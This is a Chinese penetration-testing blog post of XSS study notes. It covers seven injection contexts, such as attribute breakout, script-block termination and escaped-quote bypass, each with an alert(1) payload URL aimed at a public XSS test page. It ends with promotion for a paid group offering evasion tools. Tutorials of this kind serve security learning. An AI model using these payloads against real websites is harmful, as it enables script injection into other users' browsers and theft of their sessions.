你所不知道的xss
2023-1-21 20:2:10 Author: 渗透安全团队(查看原文) 阅读量:19 收藏

你所不知道的xss

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

前言

主要是复习xss的时候的一些记录(笔记),包含若干总结

xss的类型

Web 服务器发送的代码这里称之为源代码(source code), 它由浏览器处理,在 JavaScript 引擎的帮助下,以编程的方式创建文档的元素。这称为 DOM(文档对象模型),它会在源代码到达后立即生成。

在应用程序的上下文中(脱离上下文的应用程序非常罕见,这里不讨论),我们将xss分为两大类:

基于源代码和基于 DOM 的 XSS 类型(XSS 可能是由服务器端代码(Web 服务器发送的代码)或客户端代码(浏览器从 Web 服务器发送的代码处理后的代码)引起的。):

Source-based: Reflected Stored

DOM-based: Reflected Stored

xss中七种常见的场景

1. URL Reflection

当 URL 以某种方式反映在源代码中时,我们可以向其添加我们自己的 XSS 有效负载, 对于 PHP 页面,可以使用斜杠字符 (/) 在页面名称后的 URL 中添加任何内容

 http://brutelogic.com.br/xss.php/”><svg onload=alert(1)>

使用 >来断开当前标签

<form action="/xss.php/"><svg onload=alert(1)>" method="POST">

2.HTML injection

这是最直接的方法,输入恰到好处地反映在现有标签之间的代码中,在它们之后或之前。无需转义或破坏任何东西,类似<tag handler=jsCode>形式的向量都可以.

http://brutelogic.com.br/xss.php?a=<svg onload=alert(1)>

<h1>xss test</h1>hello, <svg onload=alert(1)>!<br>

3.Inline HTMLi

几乎和前一个一样简单,但是需要“>”来闭合当前标签。

 http://brutelogic.com.br/xss.php?b1=”><svg onload=alert(1)>
<input type="text" name="b1" value=""><svg onload=alert(1)>">

4.Inline HTMLi(没有闭合标签)

当输入位于 HTML 属性中并且过滤字符 (>) 时,不可能像前一种情况那样跳出当前标签。

<input type="text" name="b3" value=""&gt;<svg onload=alert(1)&gt;">

&gt; 就表示>

使用适合我们注入的标签的事件处理程序,例如:

 http://brutelogic.com.br/xss.php?b3=” onmouseover=alert(1)//

注意:alert(1) 后跟双斜杠以注释掉挂起的引号

<input type="text" name="b3" value="" onmouseover=alert(1)//">

5. HTMLi in Js (Javascript) Block

输入有时会进入 javascript 块(脚本标签),通常在代码的某些变量中。但是因为 HTML 标签在浏览器的解析中具有优先权,我们可以简单地终止块并插入一个新标签。

 http://brutelogic.com.br/xss.php?c1=</script><svg onload=alert(1)>
<script>  var var1 = '</script><svg onload=alert(1)>';</script>

6.JS注入

如果脚本标签以某种方式被过滤,之前的利用将失败。

  var var1 = '><svg onload=alert(1)>';

将易受攻击变量的值“连接”到我们想要执行的代码

 http://brutelogic.com.br/xss.php?c3=’-alert(1)-‘

看下面:

  var var3 = ''-alert(1)-'';

7.转义Js注入

在前面的例子中,如果引号(负责中断变量值)用反斜杠 () 转义,注入将不起作用(无效语法)。

插入一个前导字符来转义添加的反斜杠, 在“串联”到我们想要的js代码之后,我们需要注释掉剩下的部分

 http://brutelogic.com.br/xss.php?c5=\’-alert(1)//
  var var5 = '\\'-alert(1)-//';2年度精选


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示


关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247496458&idx=2&sn=616db79e16488c6de39236a992c3d8db&chksm=c1760ea5f60187b3bd5ee815c3ac11e4f5ca2ed255e76c945f559e8a1b9d2ec57620dbba8980#rd
如有侵权请联系:admin#unsafe.sh